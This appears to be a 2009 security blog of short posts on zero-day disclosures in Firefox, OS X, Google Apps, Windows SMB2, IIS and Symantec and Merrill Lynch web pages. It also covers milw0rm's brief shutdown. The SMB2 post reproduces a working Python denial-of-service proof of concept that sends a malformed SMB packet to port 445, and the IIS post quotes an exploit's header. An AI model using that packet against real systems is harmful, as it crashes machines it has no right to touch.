A security researcher in Russia decided to drop a zeroday on Mozilla today without so much as a hint at anything resembling responsible disclosure. No, I’m not opening that can of worms…again.
From The Register:
A Russian security researcher on Thursday said he has released attack code that exploits a critical vulnerability in the latest version of Mozilla’s Firefox browser.
The exploit – which allows attackers to remotely execute malicious code on end user PCs – triggers a heap corruption vulnerability in the popular open-source browser, said Evgeny Legerov, founder of Moscow-based Intevydis.
Mozilla has not confirmed the veracity of his comments or the exploit but, we can expect to see something from them in short order.
(Image used under CC from goosmurf)
Here is an interesting one. Apparently a vulnerability that was reported roughly 8 months ago still haunts OS X.
From ITWire:
A widespread security vulnerability disclosed eight months ago is apparently still lurking in Mac OS X 10.5 and 10.6. A pair of security researchers have released a proof of concept exploit.
Maksymilian Arciemowicz and ’sp3x’ of SecurityReason.com have publicly disclosed a proof of concept exploit for a vulnerability in Mac OS X’s dtoa function that converts double-precision values to ASCII strings.
They say they reported the issue eight months ago.
The proof of concept merely triggers a memory access error, but such buffer overflow conditions can sometimes be exploited to run arbitrary code.
Hmm. Arbitrary code you say? That sounds less than appealing.
Read on.
(Image used under CC from photograham Flickr stream)
Ah, its raining in Mountain View today. Well, at least in one building. It turns out that’s there is a a vulnerability in Google Apps that can lead to a local compromise of a users system. Apparently, this can lead to non-privileged code execution.
Um, yeah.
From retrogod:
google apps googleapps.url.mailto:// uri handler cross-browser remote command execution exploit (Internet Explorer)
by nine:situations:group::pyrokinesis
site: http://retrogod.altervista.org/software site: http://pack.google.com/intl/it/pack_installer.html
tested against: Internet Explorer 8, windows xp sp3
Internet Explorer 7, windows xp sp3
Google Chrome 2.0.172.43vulnerability: through the vulnerable googleapps.url.mailto:// deprecated uri handler, registered as follows:
There is a proof of concept on the site as well.
Doesn’t really give folks in Los Angeles a warm and fuzzy one would imagine.
You know, sometimes you just have to laugh as the pain gets to be too much.
From Full Disclosure:
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it’s used to identify the SMB dialect that will be used for futher communication.
Oh, but there’s more. Proof of concept anyone?
Yup, got that as well over on FD.
Smb-Bsod.py:
#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleephost = “IP_ADDR”, 445
buff = (
“\x00\x00\x00\x90″ # Begin SMB header: Session message
“\xff\x53\x4d\x42″ # Server Component: SMB
“\x72\x00\x00\x00″ # Negociate Protocol
“\x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
“\x00\x26″# Process ID High: –>normal value should be “\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00″)
s = socket()s.connect(host)
s.send(buff)
s.close()
UPDATE: Here is some more info on this from the site Reverse Mode.
(Image used under CC from ian-s Flickr feed)
This Monday continues to get weirder by the minute. Well, in keeping with that here is a zeroday that just made it on to the Full Disclosure mailing list.
Microsoft Internet Information Server 5.0/6.0
FTP Server Remote Stack Based Overrun
# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 – KEEP THIS 0DAY PRIV8
use IO::Socket;
The full exploit is posted to the site as a PDF file and for those that are unsure here is the VirusTotal scan of the file. Bearing in mind that this is by no means a guarantee of its safety.
[UPDATE]: Microsoft released a workaround for this problem today (Sept. 1, 2009)
Tags: IIS5 Exploit, IIS6 Exploit, Zeroday, 0day, Stack Overflow
Microsoft is having a bad week and I seem to be equating that with LOL Cats. Go figure. A few days back the news of a zero day Direct Play vulnerability started to surface (exploit PoC). Only to find out yesterday that Microsoft knew of this vulnerability for almost a year.
Now we find that there is a zero day in the Microsoft Office Web components according to this advisory from the Redmond mothership.
From SANS:
Microsoft has released an advisory related to an Office Web Components ActiveX vulnerability, it is available here. This vulnerability exists in the ActiveX control used by IE to display Excel spreadsheets. The CVE entry for the vulnerability is CVE-2009-1136. Microsoft mentions that they are aware of active exploits against this vulnerability, although we at the SANS Internet Storm Center haven’t seen it used or mentioned in public as of yet (this has changed, we are seeing active exploit pages).
Apparently this permits remote code execution and may not require user interaction. Doesn’t bode well for the upcoming release from Microsoft…for free.
Oh, goodie (/sarcasm)
In an unfortunate turn of events a great security resource is hanging up its gloves. milw0rm.com will be shutting down. The site maintainer, str0ke, posted a message on the site today explaining why.
From milw0rm:
Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don’t
. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn’t fair to the authors on this site. I appreciate and thank everyone for their support in the past.
Be safe, /str0ke
A sad moment but, and an all too common lament among folks who run security websites. It’s a labour of love but, at some point it can become overwhelming. I wonder who will fill the gap.
Thanks str0ke. Best of luck in your future endeavours.
Update: I saw some amusing comments on Twitter that script kiddies everywhere will be crying out in anguish.
UPDATE: (July 13th, 2009) …and they’re back! From Heise:
The milw0rm exploit portal has resumed normal service and is back online. Following the announcement, last week, by the site’s operator – str0ke, that time constraints meant he planned to stop publishing exploits, the portal is reported to have been swamped with enquiries. According to str0ke the server was overloaded and had to be replaced with a more powerful machine. The flood of visits may have been caused by users trying to download as many exploits as possible before the database went off line.
Whoops.
It would appear that Microsoft has in fact confirmed today that there is a privilege escalation problem with IIS 6.0. Specifically as it affects WEBDAV.
From SC Magazine:
The software giant said in an advisory that it was not aware of any attacks attempting to exploit the bug, which impacts IIS versions 5, 5.1 and 6. However, US-CERT revealed Monday that it was aware of publicly available exploit code and active attacks.
The exploit would work by a cybercriminal creating an anonymous but malicious HTTP request, which can take advantage of a vulnerability in the way the WebDAV (Web-based Distrubuted Authoring and Versioning) extension for IIS handles these requests. WebDAV is a set of HTTP extensions that permits users to manage files on web servers.
I absolutely LOVE phrases like this one from Microsoft, “not aware of any attacks attempting to exploit the bug”. It’s like waving a red cape in front of a bull.
Oh lookie here (milw0rm). Here is a passage from the published exploit proof of concept.
This vulnerability allows remote attackers to bypass access restrictions on vulnerable installations of Internet Information Server 6.0.
The specific flaw exists within the WebDAV functionality of IIS 6.0. The Web Server fails to properly handle unicode tokens when parsing the URI and sending back data.
According to the site Nemesis / t3am3lite, Symantec has joined the ranks of sites that are susceptible to cross site scripting (XSS) attacks including iframe URL injection.
Um, oops.
From The Register:
The XSS, or cross-site scripting, bugs allow attackers to steal the web cookies Symantec sets on visitors’ hard drives. Such cookies are frequently used to prove a visitor has already entered a valid password, so the ability to lift the file could be a non-trivial lapse of Symantec’s security.
Other exploits showed it was possible to inject images from third-party websites such as imageshack.us. They were documented by a hacking collective that calls itself t3am3lite. Less-charitable hackers could exploit the hole to inject javascript or other types of code that exploits unpatched vulnerabilities or carries out other malicious acts.
For a collection of screen shots from the XSS bugs check out the Nemesis site. According to the site, Symantec has in fact been contacted about this problem and they’re working on it.
At the time of this posting the bugs were still live.
Bailout money apparently has not been applied to improving web security at Merrill.
From SecuObs:
The Merrill Lynch OnLine Login page is vulnerable to cross-site scripting (XSS) and cross-site request forgery (CSRF), leaving customers at risk for financial compromise via phishing or credential theft. As always, I followed my terms of engagement, sending no less than three emails over a period of no less than two weeks, even allowing a couple of extra days for the holidays. To date I have not received a single response, automated or otherwise. The point is best driven home via video, but the details are simple enough. A properly formed IFRAME fits neatly, front and center, on Merrill Lynch’s OnLine login, embedding Morgan Stanley’s ClientServ login page, just to prove the point. Merrill Lynch OnLine before: Merrill Lynch OnLine after: Web application vulnerabilities and SOX compliance It’s obvious that vulnerabilities such as that described above indicate a clear break from PCI compliance.
Um, whoops.
For the full article read on.
